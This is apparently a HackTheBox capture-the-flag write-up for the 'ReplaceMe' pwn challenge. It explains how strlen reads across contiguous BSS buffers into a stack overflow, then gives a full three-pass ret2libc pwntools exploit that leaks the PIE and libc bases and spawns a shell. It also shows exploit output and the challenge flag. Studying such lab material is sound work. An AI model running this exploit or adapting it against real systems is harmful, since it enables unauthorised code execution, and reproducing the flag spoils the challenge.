ReplaceMe
hackthebox
Task: sed-like string replacement utility with read() not adding null terminator and contiguous BSS buffers. Solution: 3-pass ret2libc exploiting strlen inflation across buffer boundary, partial return address overwrite for PIE leak, GOT read for libc leak.
$ ls tags/ techniques/
ReplaceMe — HackTheBox
Description
"This useful interactive SED-like utility was shared with me to use, can you make sure it is safe?"
64-bit ELF PIE binary, dynamically linked, not stripped. Implements an interactive string replacement utility in sed format (s/old/new/). Takes an input string and a replacement pattern, performs substitution, and outputs the result.
Remote target: 154.57.164.68:32476.
Files: replaceme (binary), libc.so.6 (Ubuntu GLIBC 2.31-0ubuntu9.14), Dockerfile (Ubuntu 20.04, socat), flag.txt.
Protections
| Protection | Status |
|---|---|
| PIE | Enabled |
| NX | Enabled |
| Canary | No |
| RELRO | Full (GOT not writable, but readable) |
Analysis
Key Functions
main()
Sequentially reads two inputs into BSS:
input(BSS 0x4040, 128 bytes) — string to processreplacement(BSS 0x40c0, 128 bytes) — replacement pattern ins/old/new/format
Then calls do_replacement().
ask_input(prompt, buffer, size)
Uses read(0, buffer, size) — does not add null terminator. This is critical: if all 128 bytes of input are filled, strlen() will continue reading into replacement.
do_replacement() — vulnerable function
Parses s/old/new/, finds old in input, builds result: prefix + new + suffix into stack buffer result[128] via memcpy without bounds checking.
rbp-0xc0: result[128] ← buffer start
rbp-0x40: padding
rbp-0x3c: after_len ← suffix length (int)
rbp-0x38: wp ← write pointer
rbp-0x30: match ← match pointer
rbp-0x24: new_len
rbp-0x20: end_slash
rbp-0x14: old_len
rbp-0x10: mid_slash
rbp-0x08: old_start
rbp+0x00: saved RBP
rbp+0x08: return address ← result + 0xc8 = result[200]
BSS Layout
input (0x4040) and replacement (0x40c0) are located contiguously in BSS. When input is filled with all 128 bytes without null terminator, strlen() continues counting bytes from replacement, inflating after_len.
Vulnerability
- Stack buffer overflow:
prefix_len + new_len + after_lencan exceed 128 bytes ofresult, overwriting local variables, saved RBP, and return address. - strlen inflation:
read()doesn't set\0, andinputandreplacementare contiguous in BSS →strlen(match + old_len)counts bytes from both buffers. - No canary → direct RIP control.
- memcpy with explicit length → null bytes in ROP addresses are preserved (unlike strcpy).
- fputs(result) prints until null byte → can leak addresses from stack.
Solution
Strategy: 3-pass ret2libc
The binary has Full RELRO (GOT not writable) and PIE, so we need to:
- Leak PIE base
- Leak libc base via GOT (readable)
- Call
system("/bin/sh")
Each pass overwrites the return address to return to main() for the next iteration.
Key Constraints
new_strcannot contain0x2f(/) — sed parser interprets it as delimiter- In passes 2-3, long
new_stroverwrites local variables.after_len(rbp-0x3c) needs to be set to-1(0xFFFFFFFF) — this is not null (fputs won't stop) and negative (skips suffix memcpy) - Stack alignment: each pass through main shifts RSP by 8 bytes. By pass 3, alignment is naturally correct for
system()
Pass 1: PIE Base Leak
Input: "N" + "B"*127 (128 bytes, no null)
Replacement: "s/N/" + "A"*71 + "/" (76 bytes)
old = "N"(1 byte),new = "A"*71, match atinput[0]prefix_len = 0,new_len = 71after_len = strlen(input[1])= 127 (B's) + 3 (start of "s/N" from replacement until\0) = 130- Total written:
0 + 71 + 130 = 201bytes → overwrites 1 byte of return address result[200]='N'=0x4e→ low byte of ret addr changes from0xbeto0x4e- Original ret addr:
PIE + 0x16be→ becomesPIE + 0x164e= main() (100% reliable, low 12 bits of PIE are fixed) fputs(result)prints 206 bytes (until null in 6th byte of PIE address)- Last 6 bytes of output = modified return address → PIE base leaked
Pass 2: libc Base Leak
Input: "A"*127 + "\x01" (128 bytes, match at position 127)
Replacement: "s/\x01/" + new_str(123 bytes) + "/" (128 bytes)
new_str layout (123 bytes):
[0:5] "B"*5 — padding
[5:9] p32(0xFFFFFFFF) — after_len = -1 (prevents suffix crash)
[9:73] "B"*64 — padding
[73:81] p64(PIE + 0x1733) — pop rdi; ret
[81:89] p64(PIE + 0x3f98) — puts@GOT (rdi argument)
[89:97] p64(PIE + 0x10e0) — puts@PLT
[97:105] p64(PIE + 0x164e) — main (return for pass 3)
[105:123] padding
ROP chain: pop rdi; ret → puts@GOT → puts@PLT → main
puts() outputs resolved libc address of puts → libc base leaked.
Pass 3: Getting Shell
Same overflow technique, different ROP chain:
[73:81] p64(PIE + 0x1733) — pop rdi; ret
[81:89] p64(libc + 0x1b45bd) — "/bin/sh"
[89:97] p64(libc + 0x52290) — system()
Stack alignment: by pass 3, RSP is naturally 16-byte aligned for system(), no additional ret gadget needed.
0x2f check: if any byte of ROP addresses equals 0x2f, sed parser will break. This depends on ASLR and is handled by retry loop.
Exploit
#!/usr/bin/env python3 from pwn import * context.binary = "./replaceme" context.log_level = "info" MAIN = 0x164E POP_RDI_RET = 0x1733 RET_GADGET = 0x101A PUTS_PLT = 0x10E0 PUTS_GOT = 0x3F98 libc = ELF("./libc.so.6") LIBC_PUTS = libc.symbols['puts'] # 0x84420 LIBC_SYSTEM = libc.symbols['system'] # 0x52290 LIBC_BINSH = next(libc.search(b'/bin/sh')) # 0x1b45bd def exploit(target): if target == "local": p = process("./replaceme") else: host, port = target.split(":") p = remote(host, int(port)) # PASS 1: PIE Leak via partial overwrite p.recvuntil(b"Input: ") p.send(b"N" + b"B" * 127) p.recvuntil(b"Replacement: ") p.send(b"s/N/" + b"A" * 71 + b"/") p.recvuntil(b"result:\n") data = p.recv(206) leaked_addr = u64(data[200:206] + b"\x00\x00") pie_base = leaked_addr - MAIN log.success(f"PIE base: {hex(pie_base)}") # PASS 2: Libc Leak via puts(puts@GOT) p.recvuntil(b"Input: ") p.send(b"A" * 127 + b"\x01") p.recvuntil(b"Replacement: ") new_str = bytearray(b"B" * 123) new_str[5:9] = p32(0xFFFFFFFF) # after_len = -1 new_str[73:81] = p64(pie_base + POP_RDI_RET) new_str[81:89] = p64(pie_base + PUTS_GOT) new_str[89:97] = p64(pie_base + PUTS_PLT) new_str[97:105] = p64(pie_base + MAIN) new_str = bytes(new_str) if b"/" in new_str: p.close(); return False p.send(b"s/\x01/" + new_str + b"/") p.recvuntil(b"result:\n") p.recv(206) leak_line = p.recvline() leaked_puts = u64(leak_line[:-1].ljust(8, b"\x00")) libc_base = leaked_puts - LIBC_PUTS log.success(f"Libc base: {hex(libc_base)}") # PASS 3: system("/bin/sh") p.recvuntil(b"Input: ") p.send(b"A" * 127 + b"\x01") p.recvuntil(b"Replacement: ") new_str3 = bytearray(b"B" * 123) new_str3[5:9] = p32(0xFFFFFFFF) new_str3[73:81] = p64(pie_base + POP_RDI_RET) new_str3[81:89] = p64(libc_base + LIBC_BINSH) new_str3[89:97] = p64(libc_base + LIBC_SYSTEM) new_str3 = bytes(new_str3) if b"/" in new_str3: p.close(); return False p.send(b"s/\x01/" + new_str3 + b"/") sleep(1); p.recv(timeout=2) p.sendline(b"cat flag.txt") sleep(1) flag = p.recv(timeout=3) log.success(f"Flag: {flag}") p.close() return True if __name__ == "__main__": import sys target = sys.argv[1] if len(sys.argv) > 1 else "local" for attempt in range(20): try: if exploit(target): break except: continue
Exploit Output
[*] Attempt 1
[+] PIE base: 0x562c6a6dd000
[+] Leaked puts: 0x7f7d9ae98420
[+] Libc base: 0x7f7d9ae14000
[+] id output: b'uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)\n'
[+] flag output: b'HTB{r34d_wh4t_y0u_n33d_4nd_wr1t3_wh4t_y0u_d0nt}\n'
Key Indicators
Use this technique when:
- read() without null termination into contiguously located BSS buffers — strlen reads across buffer boundary
- Stack buffer smaller than possible output when concatenating multiple parts via memcpy
- sed-like parser with
s/old/new/format —/character restriction in payload - memcpy with explicit length (not strcpy) — null bytes in ROP addresses are preserved
- PIE without canary — partial overwrite of low byte of ret addr for 100% reliable PIE leak
- Full RELRO — GOT not writable, but readable via
puts(GOT_entry)for libc leak - fputs/puts on stack buffer — prints until null, leaking addresses beyond data
- Multi-pass exploitation — each pass returns to main for next leak/attack
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]Void— hackthebox
- [pwn][Pro]Говори - и будет исполнено (ask_and_you_shall_receive)— hackerlab
- [pwn][free]Portaloo— hackthebox
- [pwn][Pro]Piece of cake— hackerlab
- [reverse][Pro]Basic— spbctf